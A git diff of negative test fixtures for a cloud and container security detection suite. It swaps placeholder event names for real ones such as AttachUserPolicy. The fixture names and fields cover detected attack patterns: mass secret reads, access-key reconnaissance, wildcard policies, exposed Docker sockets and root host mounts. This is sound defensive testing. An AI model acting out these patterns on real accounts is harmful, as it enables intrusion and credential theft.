--git a/detections/fixtures/negative/aws-ebs-snapshot-shared-foreign.json b/detections/fixtures/negative/aws-ebs-snapshot-shared-foreign.jsonindex 4d1d60ecb..cd36540c4 100644--- a/detections/fixtures/negative/aws-ebs-snapshot-shared-foreign.json+++ b/detections/fixtures/negative/aws-ebs-snapshot-shared-foreign.json@@ -1,4 +1,4 @@{- "event_name": "not-ModifySnapshotAttribute",+ "event_name": "AttachUserPolicy","shared_account_external": true}diff --git a/detections/fixtures/negative/aws-ec2-disable-api-stop-revoked.json b/detections/fixtures/negative/aws-ec2-disable-api-stop-revoked.jsonindex c9bb6982c..6020be9ff 100644--- a/detections/fixtures/negative/aws-ec2-disable-api-stop-revoked.json+++ b/detections/fixtures/negative/aws-ec2-disable-api-stop-revoked.json@@ -1,5 +1,5 @@{"attribute": "disableApiStop",- "event_name": "not-ModifyInstanceAttribute",+ "event_name": "AttachUserPolicy","value": false}diff --git a/detections/fixtures/negative/aws-ec2-imds-v1-allowed.json b/detections/fixtures/negative/aws-ec2-imds-v1-allowed.jsonindex f4ec3ce6b..bddef6994 100644--- a/detections/fixtures/negative/aws-ec2-imds-v1-allowed.json+++ b/detections/fixtures/negative/aws-ec2-imds-v1-allowed.json@@ -1,4 +1,4 @@{- "event_name": "not-RunInstances",+ "event_name": "AttachUserPolicy","imds_v1_allowed": true}diff --git a/detections/fixtures/negative/aws-ec2-key-pair-imported.json b/detections/fixtures/negative/aws-ec2-key-pair-imported.jsonindex 64ccad64c..0b9aec727 100644--- a/detections/fixtures/negative/aws-ec2-key-pair-imported.json+++ b/detections/fixtures/negative/aws-ec2-key-pair-imported.json@@ -1,3 +1,3 @@{- "event_name": "not-ImportKeyPair"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-ec2-userdata-modified-running.json b/detections/fixtures/negative/aws-ec2-userdata-modified-running.jsonindex e6076eef6..e276fb019 100644--- a/detections/fixtures/negative/aws-ec2-userdata-modified-running.json+++ b/detections/fixtures/negative/aws-ec2-userdata-modified-running.json@@ -1,5 +1,5 @@{"attribute": "userData",- "event_name": "not-ModifyInstanceAttribute",+ "event_name": "AttachUserPolicy","instance_state": "running"}diff --git a/detections/fixtures/negative/aws-ecr-image-scan-disabled.json b/detections/fixtures/negative/aws-ecr-image-scan-disabled.jsonindex a1cc2c4dc..d141da518 100644--- a/detections/fixtures/negative/aws-ecr-image-scan-disabled.json+++ b/detections/fixtures/negative/aws-ecr-image-scan-disabled.json@@ -1,4 +1,4 @@{- "event_name": "not-PutImageScanningConfiguration",+ "event_name": "AttachUserPolicy","scan_on_push": false}diff --git a/detections/fixtures/negative/aws-ecr-repo-publicly-readable.json b/detections/fixtures/negative/aws-ecr-repo-publicly-readable.jsonindex f9c6da0e1..5ca933497 100644--- a/detections/fixtures/negative/aws-ecr-repo-publicly-readable.json+++ b/detections/fixtures/negative/aws-ecr-repo-publicly-readable.json@@ -1,4 +1,4 @@{- "event_name": "not-SetRepositoryPolicy",+ "event_name": "AttachUserPolicy","policy_principal": "*"}diff --git a/detections/fixtures/negative/aws-ecs-task-privileged.json b/detections/fixtures/negative/aws-ecs-task-privileged.jsonindex 9e243c590..5ff5c2d5b 100644--- a/detections/fixtures/negative/aws-ecs-task-privileged.json+++ b/detections/fixtures/negative/aws-ecs-task-privileged.json@@ -1,4 +1,4 @@{- "event_name": "not-RegisterTaskDefinition",+ "event_name": "AttachUserPolicy","privileged": true}diff --git a/detections/fixtures/negative/aws-eks-fargate-profile-default-ns.json b/detections/fixtures/negative/aws-eks-fargate-profile-default-ns.jsonindex edac291a3..6984217c4 100644--- a/detections/fixtures/negative/aws-eks-fargate-profile-default-ns.json+++ b/detections/fixtures/negative/aws-eks-fargate-profile-default-ns.json@@ -1,4 +1,4 @@{- "event_name": "not-CreateFargateProfile",+ "event_name": "AttachUserPolicy","namespace": "default"}diff --git a/detections/fixtures/negative/aws-guardduty-detector-deleted.json b/detections/fixtures/negative/aws-guardduty-detector-deleted.jsonindex 536c401ad..0b9aec727 100644--- a/detections/fixtures/negative/aws-guardduty-detector-deleted.json+++ b/detections/fixtures/negative/aws-guardduty-detector-deleted.json@@ -1,3 +1,3 @@{- "event_name": "not-DeleteDetector"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-iam-anonymous-role-trust.json b/detections/fixtures/negative/aws-iam-anonymous-role-trust.jsonindex 2ea14aadc..c989962db 100644--- a/detections/fixtures/negative/aws-iam-anonymous-role-trust.json+++ b/detections/fixtures/negative/aws-iam-anonymous-role-trust.json@@ -1,4 +1,4 @@{- "event_name": "not-CreateRole",+ "event_name": "AttachUserPolicy","trust_principal": "anonymous"}diff --git a/detections/fixtures/negative/aws-iam-create-user-burst.json b/detections/fixtures/negative/aws-iam-create-user-burst.jsonindex b899a736e..cd7e85943 100644--- a/detections/fixtures/negative/aws-iam-create-user-burst.json+++ b/detections/fixtures/negative/aws-iam-create-user-burst.json@@ -1,4 +1,4 @@{- "event_name": "not-CreateUser",+ "event_name": "AttachUserPolicy","events_per_minute": 110.0}diff --git a/detections/fixtures/negative/aws-iam-cross-account-role-broad-trust.json b/detections/fixtures/negative/aws-iam-cross-account-role-broad-trust.jsonindex ec295f24b..767b28170 100644--- a/detections/fixtures/negative/aws-iam-cross-account-role-broad-trust.json+++ b/detections/fixtures/negative/aws-iam-cross-account-role-broad-trust.json@@ -1,5 +1,5 @@{- "event_name": "not-CreateRole",+ "event_name": "AttachUserPolicy","trust_principal": "head-:root","trust_principal_external": true}diff --git a/detections/fixtures/negative/aws-iam-key-rotation-skipped.json b/detections/fixtures/negative/aws-iam-key-rotation-skipped.jsonindex e664d4799..f90ab2c20 100644--- a/detections/fixtures/negative/aws-iam-key-rotation-skipped.json+++ b/detections/fixtures/negative/aws-iam-key-rotation-skipped.json@@ -1,4 +1,4 @@{- "event_name": "not-ListAccessKeys",+ "event_name": "AttachUserPolicy","key_age_days": 465.0}diff --git a/detections/fixtures/negative/aws-iam-list-keys-recon.json b/detections/fixtures/negative/aws-iam-list-keys-recon.jsonindex 2bbc0f8e3..7ce673e1a 100644--- a/detections/fixtures/negative/aws-iam-list-keys-recon.json+++ b/detections/fixtures/negative/aws-iam-list-keys-recon.json@@ -1,4 +1,4 @@{"distinct_users_per_minute": 120.0,- "event_name": "not-ListAccessKeys"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-iam-login-profile-created-existing-user.json b/detections/fixtures/negative/aws-iam-login-profile-created-existing-user.jsonindex 92a0676c2..69bff2338 100644--- a/detections/fixtures/negative/aws-iam-login-profile-created-existing-user.json+++ b/detections/fixtures/negative/aws-iam-login-profile-created-existing-user.json@@ -1,4 +1,4 @@{- "event_name": "not-CreateLoginProfile",+ "event_name": "AttachUserPolicy","user_existed": true}diff --git a/detections/fixtures/negative/aws-iam-mfa-disabled-on-priv-user.json b/detections/fixtures/negative/aws-iam-mfa-disabled-on-priv-user.jsonindex 36297d68a..38f27dcdd 100644--- a/detections/fixtures/negative/aws-iam-mfa-disabled-on-priv-user.json+++ b/detections/fixtures/negative/aws-iam-mfa-disabled-on-priv-user.json@@ -1,4 +1,4 @@{- "event_name": "not-DeactivateMFADevice",+ "event_name": "AttachUserPolicy","target_user_priv": true}diff --git a/detections/fixtures/negative/aws-iam-permissions-boundary-removed.json b/detections/fixtures/negative/aws-iam-permissions-boundary-removed.jsonindex e2d490c75..0b9aec727 100644--- a/detections/fixtures/negative/aws-iam-permissions-boundary-removed.json+++ b/detections/fixtures/negative/aws-iam-permissions-boundary-removed.json@@ -1,3 +1,3 @@{- "event_name": "not-DeleteUserPermissionsBoundary"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-iam-policy-version-set-default-broad.json b/detections/fixtures/negative/aws-iam-policy-version-set-default-broad.jsonindex 9398236f2..be51108c3 100644--- a/detections/fixtures/negative/aws-iam-policy-version-set-default-broad.json+++ b/detections/fixtures/negative/aws-iam-policy-version-set-default-broad.json@@ -1,5 +1,5 @@{- "event_name": "not-SetDefaultPolicyVersion",+ "event_name": "AttachUserPolicy","policy_action": "*","policy_resource": "*"}diff --git a/detections/fixtures/negative/aws-iam-role-trust-broadened-wildcard.json b/detections/fixtures/negative/aws-iam-role-trust-broadened-wildcard.jsonindex 89ddf7d0d..4c8d7e8ac 100644--- a/detections/fixtures/negative/aws-iam-role-trust-broadened-wildcard.json+++ b/detections/fixtures/negative/aws-iam-role-trust-broadened-wildcard.json@@ -1,4 +1,4 @@{- "event_name": "not-UpdateAssumeRolePolicy",+ "event_name": "AttachUserPolicy","trust_principal": "*"}diff --git a/detections/fixtures/negative/aws-kms-key-policy-anonymous.json b/detections/fixtures/negative/aws-kms-key-policy-anonymous.jsonindex 69c433e78..5ca933497 100644--- a/detections/fixtures/negative/aws-kms-key-policy-anonymous.json+++ b/detections/fixtures/negative/aws-kms-key-policy-anonymous.json@@ -1,4 +1,4 @@{- "event_name": "not-PutKeyPolicy",+ "event_name": "AttachUserPolicy","policy_principal": "*"}diff --git a/detections/fixtures/negative/aws-kms-schedule-key-deletion.json b/detections/fixtures/negative/aws-kms-schedule-key-deletion.jsonindex f6f5fa6a6..0b9aec727 100644--- a/detections/fixtures/negative/aws-kms-schedule-key-deletion.json+++ b/detections/fixtures/negative/aws-kms-schedule-key-deletion.json@@ -1,3 +1,3 @@{- "event_name": "not-ScheduleKeyDeletion"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-lambda-add-permission-anonymous.json b/detections/fixtures/negative/aws-lambda-add-permission-anonymous.jsonindex 564daa9e0..07f265590 100644--- a/detections/fixtures/negative/aws-lambda-add-permission-anonymous.json+++ b/detections/fixtures/negative/aws-lambda-add-permission-anonymous.json@@ -1,4 +1,4 @@{- "event_name": "not-AddPermission",+ "event_name": "AttachUserPolicy","principal": "*"}diff --git a/detections/fixtures/negative/aws-lambda-create-url-public.json b/detections/fixtures/negative/aws-lambda-create-url-public.jsonindex 3d9df87fe..4e4301b9f 100644--- a/detections/fixtures/negative/aws-lambda-create-url-public.json+++ b/detections/fixtures/negative/aws-lambda-create-url-public.json@@ -1,4 +1,4 @@{"auth_type": "NONE",- "event_name": "not-CreateFunctionUrlConfig"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-lambda-runtime-deprecated.json b/detections/fixtures/negative/aws-lambda-runtime-deprecated.jsonindex f42afcb41..aa2865ea2 100644--- a/detections/fixtures/negative/aws-lambda-runtime-deprecated.json+++ b/detections/fixtures/negative/aws-lambda-runtime-deprecated.json@@ -1,4 +1,4 @@{- "event_name": "not-CreateFunction",+ "event_name": "AttachUserPolicy","runtime": "nodejs10.x"}diff --git a/detections/fixtures/negative/aws-rds-deletion-protection-disabled.json b/detections/fixtures/negative/aws-rds-deletion-protection-disabled.jsonindex a4bc0fa65..b7a4dcfe3 100644--- a/detections/fixtures/negative/aws-rds-deletion-protection-disabled.json+++ b/detections/fixtures/negative/aws-rds-deletion-protection-disabled.json@@ -1,4 +1,4 @@{"deletion_protection": false,- "event_name": "not-ModifyDBInstance"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-rds-iam-auth-disabled.json b/detections/fixtures/negative/aws-rds-iam-auth-disabled.jsonindex 9858a278e..b5bcdd846 100644--- a/detections/fixtures/negative/aws-rds-iam-auth-disabled.json+++ b/detections/fixtures/negative/aws-rds-iam-auth-disabled.json@@ -1,4 +1,4 @@{- "event_name": "not-ModifyDBInstance",+ "event_name": "AttachUserPolicy","iam_database_authentication_enabled": false}diff --git a/detections/fixtures/negative/aws-rds-master-password-reset.json b/detections/fixtures/negative/aws-rds-master-password-reset.jsonindex 756824e20..8b7ba58b1 100644--- a/detections/fixtures/negative/aws-rds-master-password-reset.json+++ b/detections/fixtures/negative/aws-rds-master-password-reset.json@@ -1,4 +1,4 @@{- "event_name": "not-ModifyDBInstance",+ "event_name": "AttachUserPolicy","master_user_password_changed": true}diff --git a/detections/fixtures/negative/aws-rds-snapshot-shared.json b/detections/fixtures/negative/aws-rds-snapshot-shared.jsonindex a9da5ca8b..cd36540c4 100644--- a/detections/fixtures/negative/aws-rds-snapshot-shared.json+++ b/detections/fixtures/negative/aws-rds-snapshot-shared.json@@ -1,4 +1,4 @@{- "event_name": "not-ModifyDBSnapshotAttribute",+ "event_name": "AttachUserPolicy","shared_account_external": true}diff --git a/detections/fixtures/negative/aws-route53-domain-transfer-out.json b/detections/fixtures/negative/aws-route53-domain-transfer-out.jsonindex 397f07626..0b9aec727 100644--- a/detections/fixtures/negative/aws-route53-domain-transfer-out.json+++ b/detections/fixtures/negative/aws-route53-domain-transfer-out.json@@ -1,3 +1,3 @@{- "event_name": "not-TransferDomainToAnotherAwsAccount"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-s3-bucket-policy-allows-anonymous.json b/detections/fixtures/negative/aws-s3-bucket-policy-allows-anonymous.jsonindex 8ee7396a2..5ca933497 100644--- a/detections/fixtures/negative/aws-s3-bucket-policy-allows-anonymous.json+++ b/detections/fixtures/negative/aws-s3-bucket-policy-allows-anonymous.json@@ -1,4 +1,4 @@{- "event_name": "not-PutBucketPolicy",+ "event_name": "AttachUserPolicy","policy_principal": "*"}diff --git a/detections/fixtures/negative/aws-s3-mass-deleteobject.json b/detections/fixtures/negative/aws-s3-mass-deleteobject.jsonindex 8620012b7..9787f441a 100644--- a/detections/fixtures/negative/aws-s3-mass-deleteobject.json+++ b/detections/fixtures/negative/aws-s3-mass-deleteobject.json@@ -1,4 +1,4 @@{- "event_name": "not-DeleteObject",+ "event_name": "AttachUserPolicy","objects_per_minute": 1100.0}diff --git a/detections/fixtures/negative/aws-s3-replication-to-foreign-account.json b/detections/fixtures/negative/aws-s3-replication-to-foreign-account.jsonindex 90f6837b7..ab4c2f64c 100644--- a/detections/fixtures/negative/aws-s3-replication-to-foreign-account.json+++ b/detections/fixtures/negative/aws-s3-replication-to-foreign-account.json@@ -1,4 +1,4 @@{"destination_account_external": true,- "event_name": "not-PutBucketReplication"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-s3-server-access-logging-disabled.json b/detections/fixtures/negative/aws-s3-server-access-logging-disabled.jsonindex 381b4183b..6c08d1519 100644--- a/detections/fixtures/negative/aws-s3-server-access-logging-disabled.json+++ b/detections/fixtures/negative/aws-s3-server-access-logging-disabled.json@@ -1,4 +1,4 @@{- "event_name": "not-PutBucketLogging",+ "event_name": "AttachUserPolicy","logging_enabled": false}diff --git a/detections/fixtures/negative/aws-secretsmanager-mass-getsecret.json b/detections/fixtures/negative/aws-secretsmanager-mass-getsecret.jsonindex df1850910..6ef73eca4 100644--- a/detections/fixtures/negative/aws-secretsmanager-mass-getsecret.json+++ b/detections/fixtures/negative/aws-secretsmanager-mass-getsecret.json@@ -1,4 +1,4 @@{"distinct_secrets_per_minute": 130.0,- "event_name": "not-GetSecretValue"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-security-group-rule-add-22-from-anywhere.json b/detections/fixtures/negative/aws-security-group-rule-add-22-from-anywhere.jsonindex 7d609bb55..8df677f10 100644--- a/detections/fixtures/negative/aws-security-group-rule-add-22-from-anywhere.json+++ b/detections/fixtures/negative/aws-security-group-rule-add-22-from-anywhere.json@@ -1,6 +1,6 @@{"cidr": "0.0.0.0/0",- "event_name": "not-AuthorizeSecurityGroupIngress",+ "event_name": "AttachUserPolicy","from_port": 22,"ip_protocol": "tcp","to_port": 22diff --git a/detections/fixtures/negative/aws-security-group-rule-add-3389-from-anywhere.json b/detections/fixtures/negative/aws-security-group-rule-add-3389-from-anywhere.jsonindex e74a10b52..e7a41b9f8 100644--- a/detections/fixtures/negative/aws-security-group-rule-add-3389-from-anywhere.json+++ b/detections/fixtures/negative/aws-security-group-rule-add-3389-from-anywhere.json@@ -1,6 +1,6 @@{"cidr": "0.0.0.0/0",- "event_name": "not-AuthorizeSecurityGroupIngress",+ "event_name": "AttachUserPolicy","from_port": 3389,"ip_protocol": "tcp","to_port": 3389diff --git a/detections/fixtures/negative/aws-securityhub-disabled.json b/detections/fixtures/negative/aws-securityhub-disabled.jsonindex a66ad544c..0b9aec727 100644--- a/detections/fixtures/negative/aws-securityhub-disabled.json+++ b/detections/fixtures/negative/aws-securityhub-disabled.json@@ -1,3 +1,3 @@{- "event_name": "not-DisableSecurityHub"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-sns-topic-public-subscribe.json b/detections/fixtures/negative/aws-sns-topic-public-subscribe.jsonindex f3c9f2cef..5ca933497 100644--- a/detections/fixtures/negative/aws-sns-topic-public-subscribe.json+++ b/detections/fixtures/negative/aws-sns-topic-public-subscribe.json@@ -1,4 +1,4 @@{- "event_name": "not-SetTopicAttributes",+ "event_name": "AttachUserPolicy","policy_principal": "*"}diff --git a/detections/fixtures/negative/aws-sqs-queue-public-policy.json b/detections/fixtures/negative/aws-sqs-queue-public-policy.jsonindex eae3c765d..5ca933497 100644--- a/detections/fixtures/negative/aws-sqs-queue-public-policy.json+++ b/detections/fixtures/negative/aws-sqs-queue-public-policy.json@@ -1,4 +1,4 @@{- "event_name": "not-SetQueueAttributes",+ "event_name": "AttachUserPolicy","policy_principal": "*"}diff --git a/detections/fixtures/negative/aws-ssm-parameter-secure-no-kms.json b/detections/fixtures/negative/aws-ssm-parameter-secure-no-kms.jsonindex 785efb44b..cedfcff78 100644--- a/detections/fixtures/negative/aws-ssm-parameter-secure-no-kms.json+++ b/detections/fixtures/negative/aws-ssm-parameter-secure-no-kms.json@@ -1,5 +1,5 @@{- "event_name": "not-PutParameter",+ "event_name": "AttachUserPolicy","key_id": null,"type": "SecureString"}diff --git a/detections/fixtures/negative/aws-vpc-peering-cross-org.json b/detections/fixtures/negative/aws-vpc-peering-cross-org.jsonindex 2095d1c59..52cdd2320 100644--- a/detections/fixtures/negative/aws-vpc-peering-cross-org.json+++ b/detections/fixtures/negative/aws-vpc-peering-cross-org.json@@ -1,4 +1,4 @@{- "event_name": "not-CreateVpcPeeringConnection",+ "event_name": "AttachUserPolicy","peer_account_external": true}diff --git a/detections/fixtures/negative/aws-vpc-route-to-internet-gateway.json b/detections/fixtures/negative/aws-vpc-route-to-internet-gateway.jsonindex 6c874777f..34678e40e 100644--- a/detections/fixtures/negative/aws-vpc-route-to-internet-gateway.json+++ b/detections/fixtures/negative/aws-vpc-route-to-internet-gateway.json@@ -1,5 +1,5 @@{"destination_cidr": "0.0.0.0/0",- "event_name": "not-CreateRoute",+ "event_name": "AttachUserPolicy","target_type": "internet-gateway"}diff --git a/detections/fixtures/negative/aws-waf-web-acl-disassociated.json b/detections/fixtures/negative/aws-waf-web-acl-disassociated.jsonindex f9f341c53..0b9aec727 100644--- a/detections/fixtures/negative/aws-waf-web-acl-disassociated.json+++ b/detections/fixtures/negative/aws-waf-web-acl-disassociated.json@@ -1,3 +1,3 @@{- "event_name": "not-DisassociateWebACL"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/azure-ad-admin-consent-workflow-disabled.json b/detections/fixtures/negative/azure-ad-admin-consent-workflow-disabled.jsonindex 4cd830e0a..e1e4bc6c3 100644--- a/detections/fixtures/negative/azure-ad-admin-consent-workflow-disabled.json+++ b/detections/fixtures/negative/azure-ad-admin-consent-workflow-disabled.json@@ -1,4 +1,4 @@{"admin_consent_workflow": false,- "operation_name": "not-Set Company Information"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-ad-app-credential-added-out-of-hours.json b/detections/fixtures/negative/azure-ad-app-credential-added-out-of-hours.jsonindex f77775fb4..2508d6408 100644--- a/detections/fixtures/negative/azure-ad-app-credential-added-out-of-hours.json+++ b/detections/fixtures/negative/azure-ad-app-credential-added-out-of-hours.json@@ -1,4 +1,4 @@{"is_business_hours": false,- "operation_name": "not-Add service principal credentials"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-ad-app-permissions-graph-read-write-all.json b/detections/fixtures/negative/azure-ad-app-permissions-graph-read-write-all.jsonindex d194d0cbf..516d43d14 100644--- a/detections/fixtures/negative/azure-ad-app-permissions-graph-read-write-all.json+++ b/detections/fixtures/negative/azure-ad-app-permissions-graph-read-write-all.json@@ -1,4 +1,4 @@{- "operation_name": "not-Update application",+ "operation_name": "Consent to application","permissions_added": "prefix-Directory.ReadWrite.All-suffix"}diff --git a/detections/fixtures/negative/azure-ad-bulk-license-assignment.json b/detections/fixtures/negative/azure-ad-bulk-license-assignment.jsonindex a85e94fbe..51718e162 100644--- a/detections/fixtures/negative/azure-ad-bulk-license-assignment.json+++ b/detections/fixtures/negative/azure-ad-bulk-license-assignment.json@@ -1,4 +1,4 @@{"events_per_minute": 150.0,- "operation_name": "not-Change user license"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-ad-bulk-user-creation.json b/detections/fixtures/negative/azure-ad-bulk-user-creation.jsonindex 056d8d3e3..f0f353fec 100644--- a/detections/fixtures/negative/azure-ad-bulk-user-creation.json+++ b/detections/fixtures/negative/azure-ad-bulk-user-creation.json@@ -1,4 +1,4 @@{"events_per_minute": 125.0,- "operation_name": "not-Add user"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-ad-conditional-access-bypass-rule.json b/detections/fixtures/negative/azure-ad-conditional-access-bypass-rule.jsonindex 3d8bda71a..a494974cb 100644--- a/detections/fixtures/negative/azure-ad-conditional-access-bypass-rule.json+++ b/detections/fixtures/negative/azure-ad-conditional-access-bypass-rule.json@@ -1,4 +1,4 @@{- "operation_name": "not-Update policy",+ "operation_name": "Consent to application","policy_excludes_priv_user": true}diff --git a/detections/fixtures/negative/azure-ad-legacy-auth-allowed.json b/detections/fixtures/negative/azure-ad-legacy-auth-allowed.jsonindex 15b059907..939582aff 100644--- a/detections/fixtures/negative/azure-ad-legacy-auth-allowed.json+++ b/detections/fixtures/negative/azure-ad-legacy-auth-allowed.json@@ -1,4 +1,4 @@{"block_legacy_auth": false,- "operation_name": "not-Update policy"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-ad-named-location-removed.json b/detections/fixtures/negative/azure-ad-named-location-removed.jsonindex b897c8032..2bfc67da8 100644--- a/detections/fixtures/negative/azure-ad-named-location-removed.json+++ b/detections/fixtures/negative/azure-ad-named-location-removed.json@@ -1,3 +1,3 @@{- "operation_name": "not-Delete named location"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-arm-subscription-transferred.json b/detections/fixtures/negative/azure-arm-subscription-transferred.jsonindex 3fe415d36..2bfc67da8 100644--- a/detections/fixtures/negative/azure-arm-subscription-transferred.json+++ b/detections/fixtures/negative/azure-arm-subscription-transferred.json@@ -1,3 +1,3 @@{- "operation_name": "__benign__"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-keyvault-secret-mass-get.json b/detections/fixtures/negative/azure-keyvault-secret-mass-get.jsonindex 4d747fcda..41f375120 100644--- a/detections/fixtures/negative/azure-keyvault-secret-mass-get.json+++ b/detections/fixtures/negative/azure-keyvault-secret-mass-get.json@@ -1,4 +1,4 @@{"distinct_secrets_per_minute": 130.0,- "operation_name": "not-SecretGet"+ "operation_name": "Consent to application"}diff --git a/detections/fixtures/negative/azure-storage-shared-key-issued.json b/detections/fixtures/negative/azure-storage-shared-key-issued.jsonindex 91fe7afc8..78fded90d 100644--- a/detections/fixtures/negative/azure-storage-shared-key-issued.json+++ b/detections/fixtures/negative/azure-storage-shared-key-issued.json@@ -1,4 +1,4 @@{- "operation_name": "__benign__",+ "operation_name": "Consent to application","ttl_days": 465.0}diff --git a/detections/fixtures/negative/cloud-cloudflare-access-policy-bypass.json b/detections/fixtures/negative/cloud-cloudflare-access-policy-bypass.jsonindex 32121ff3f..c40fc76f6 100644--- a/detections/fixtures/negative/cloud-cloudflare-access-policy-bypass.json+++ b/detections/fixtures/negative/cloud-cloudflare-access-policy-bypass.json@@ -1,4 +1,4 @@{- "action": "not-access_policy.create",+ "action": "disabled","decision": "bypass"}diff --git a/detections/fixtures/negative/cloud-cloudflare-zone-transfer.json b/detections/fixtures/negative/cloud-cloudflare-zone-transfer.jsonindex 5ece75a39..20f103b76 100644--- a/detections/fixtures/negative/cloud-cloudflare-zone-transfer.json+++ b/detections/fixtures/negative/cloud-cloudflare-zone-transfer.json@@ -1,3 +1,3 @@{- "action": "not-zone.transfer_out"+ "action": "disabled"}diff --git a/detections/fixtures/negative/cloud-do-droplet-snapshot-shared.json b/detections/fixtures/negative/cloud-do-droplet-snapshot-shared.jsonindex b4754cc66..439867d91 100644--- a/detections/fixtures/negative/cloud-do-droplet-snapshot-shared.json+++ b/detections/fixtures/negative/cloud-do-droplet-snapshot-shared.json@@ -1,4 +1,4 @@{- "action": "not-snapshot.transfer",+ "action": "disabled","destination_account_external": true}diff --git a/detections/fixtures/negative/cloud-iac-drift-bypassed.json b/detections/fixtures/negative/cloud-iac-drift-bypassed.jsonindex 3560ecc39..67aecb353 100644--- a/detections/fixtures/negative/cloud-iac-drift-bypassed.json+++ b/detections/fixtures/negative/cloud-iac-drift-bypassed.json@@ -1,5 +1,5 @@{- "action": "not-manual_override",+ "action": "disabled","approver": "self","out_of_hours": true}diff --git a/detections/fixtures/negative/cloud-oci-iam-tenant-admin-binding.json b/detections/fixtures/negative/cloud-oci-iam-tenant-admin-binding.jsonindex c892c5fe8..b196e0692 100644--- a/detections/fixtures/negative/cloud-oci-iam-tenant-admin-binding.json+++ b/detections/fixtures/negative/cloud-oci-iam-tenant-admin-binding.json@@ -1,5 +1,5 @@{"compartment": "tenancy",- "event_name": "not-AddUserToGroup",+ "event_name": "AttachUserPolicy","group": "Administrators"}diff --git a/detections/fixtures/negative/cloud-terraform-state-modified-direct.json b/detections/fixtures/negative/cloud-terraform-state-modified-direct.jsonindex 55bb71731..5bd2acfe1 100644--- a/detections/fixtures/negative/cloud-terraform-state-modified-direct.json+++ b/detections/fixtures/negative/cloud-terraform-state-modified-direct.json@@ -1,4 +1,4 @@{- "action": "not-state.modify",+ "action": "disabled","actor_in_pipeline": false}diff --git a/detections/fixtures/negative/container-build-on-host.json b/detections/fixtures/negative/container-build-on-host.jsonindex a251d6f3b..e3c384b64 100644--- a/detections/fixtures/negative/container-build-on-host.json+++ b/detections/fixtures/negative/container-build-on-host.json@@ -1,4 +1,4 @@{- "event_type": "not-image_build",+ "event_type": "http_request","host_role": "production"}diff --git a/detections/fixtures/negative/container-dind-detected.json b/detections/fixtures/negative/container-dind-detected.jsonindex 0ce97e4df..258c89016 100644--- a/detections/fixtures/negative/container-dind-detected.json+++ b/detections/fixtures/negative/container-dind-detected.json@@ -1,4 +1,4 @@{- "event_type": "not-container_create",+ "event_type": "http_request","image_name": "prefix-docker:dind-suffix"}diff --git a/detections/fixtures/negative/container-docker-tcp-listening.json b/detections/fixtures/negative/container-docker-tcp-listening.jsonindex 324161b22..11f0d965c 100644--- a/detections/fixtures/negative/container-docker-tcp-listening.json+++ b/detections/fixtures/negative/container-docker-tcp-listening.json@@ -1,4 +1,4 @@{"address": "prefix-tcp://0.0.0.0-suffix",- "event_type": "not-daemon_listening"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/container-hostpath-mount-root.json b/detections/fixtures/negative/container-hostpath-mount-root.jsonindex e95ffcfc2..9fbe52e4b 100644--- a/detections/fixtures/negative/container-hostpath-mount-root.json+++ b/detections/fixtures/negative/container-hostpath-mount-root.json@@ -1,4 +1,4 @@{- "event_type": "not-container_create",+ "event_type": "http_request","host_mount_path": "/"}diff --git a/detections/fixtures/negative/container-image-from-public-registry.json b/detections/fixtures/negative/container-image-from-public-registry.jsonindex 7b9863832..e275ac4a5 100644--- a/detections/fixtures/negative/container-image-from-public-registry.json+++ b/detections/fixtures/negative/container-image-from-public-registry.json@@ -1,5 +1,5 @@{"environment": "prod",- "event_type": "not-image_pull",+ "event_type": "http_request","image_registry": "docker.io"}diff --git a/detections/fixtures/negative/container-image-tag-latest-prod.json b/detections/fixtures/negative/container-image-tag-latest-prod.jsonindex 3f23a9217..bdd48356d 100644--- a/detections/fixtures/negative/container-image-tag-latest-prod.json+++ b/detections/fixtures/negative/container-image-tag-latest-prod.json@@ -1,5 +1,5 @@{"environment": "prod",- "event_type": "not-image_pull",+ "event_type": "http_request","image_tag": "latest"}diff --git a/detections/fixtures/negative/container-mount-etc.json b/detections/fixtures/negative/container-mount-etc.jsonindex 62af5e50d..3e717f1c0 100644--- a/detections/fixtures/negative/container-mount-etc.json+++ b/detections/fixtures/negative/container-mount-etc.json@@ -1,4 +1,4 @@{- "event_type": "not-container_create",+ "event_type": "http_request","host_mount_path": "prefix-/etc-suffix"}diff --git a/detections/fixtures/negative/container-readonly-fs-disabled.json b/detections/fixtures/negative/container-readonly-fs-disabled.jsonindex 981ff2763..a41ff9c32 100644--- a/detections/fixtures/negative/container-readonly-fs-disabled.json+++ b/detections/fixtures/negative/container-readonly-fs-disabled.json@@ -1,5 +1,5 @@{"environment": "prod",- "event_type": "not-container_create",+ "event_type": "http_request","readonly_root_fs": false}diff --git a/detections/fixtures/negative/container-running-as-root-prod.json b/detections/fixtures/negative/container-running-as-root-prod.jsonindex b6b10cd81..281bf326e 100644--- a/detections/fixtures/negative/container-running-as-root-prod.json+++ b/detections/fixtures/negative/container-running-as-root-prod.json@@ -1,5 +1,5 @@{"environment": "prod",- "event_type": "not-container_start",+ "event_type": "http_request","user_uid": 0}diff --git a/detections/fixtures/negative/dns-txt-record.json b/detections/fixtures/negative/dns-txt-record.jsonindex 0b0345b6a..0e005084e 100644--- a/detections/fixtures/negative/dns-txt-record.json+++ b/detections/fixtures/negative/dns-txt-record.json@@ -1,5 +1,5 @@{- 